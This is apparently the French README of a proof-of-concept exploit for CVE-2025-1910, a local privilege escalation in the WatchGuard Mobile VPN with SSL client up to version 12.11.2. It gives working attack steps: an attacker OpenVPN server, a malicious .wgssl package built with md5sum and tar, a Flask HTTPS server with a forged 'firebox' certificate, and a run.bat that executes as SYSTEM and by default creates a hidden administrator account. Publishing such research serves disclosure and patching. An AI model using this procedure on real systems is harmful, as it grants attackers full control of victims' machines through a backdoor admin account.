
Preuve de concept pour l'exploitation de CVE-2025-1910, une escalade de privilèges locaux au sein du client Mobile VPN with SSL de Watchguard.
Une vulnérabilité d'élévation de privilèges dans Mobile VPN with SSL de WatchGuard <= 12.11.2 permet à un utilisateur à faibles privilèges d'exécuter des commandes en tant que SYSTEM sur le client. Testé avec la version 12.11.2 de Mobile VPN with SSL.
Pour plus de détails, consultez notre article de blog (version allemande).
sudo openvpn --config server.conf

Modifier l'option remote dans ./client/client.ovpn pour pointer vers le serveur OpenVPN
Modifier ./client/run.bat selon vos besoins, ce script sera exécuté en tant que SYSTEM. Par défaut, un nouvel utilisateur administrateur est créé (shinyNewAdmin)
Créer le fichier malveillant WatchGuard client.wgssl :
cd client/
# Create checksum
md5sum client.ovpn run.bat > MD5SUM
# Pack into a .wgssl file
tar -czf ../client_exploit.wgssl client.ovpn MD5SUM run.bat
cd ..
client.wgssl via flask :# Start the flask HTTPS server
sudo python3 srv.py

Optionnellement, une nouvelle paire de certificat et clé peut être créée via openssl :
# Create certificate and private key for the HTTPS connection
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"
Ensuite, sur la machine victime où une version vulnérable de Mobile VPN with SSL est installée (par exemple la version 12.11.2, Téléchargement), essayez de vous connecter au serveur attaquant. Le nom d'utilisateur et le mot de passe saisis n'ont pas d'importance :

Cliquez sur Oui dans l'alerte de sécurité pour ignorer les avertissements de certificat :

Après que la connexion est établie avec succès, le fichier run.bat est exécuté et l'utilisateur shinyNewAdmin est créé :

Sur le serveur attaquant, vous devez avoir Python, openssl et openvpn installés. De plus, le paquet Python flask doit être installé :
pip install -r requirements.txt
Avec Nix installé, vous pouvez simplement démarrer le shell de développement :
nix develop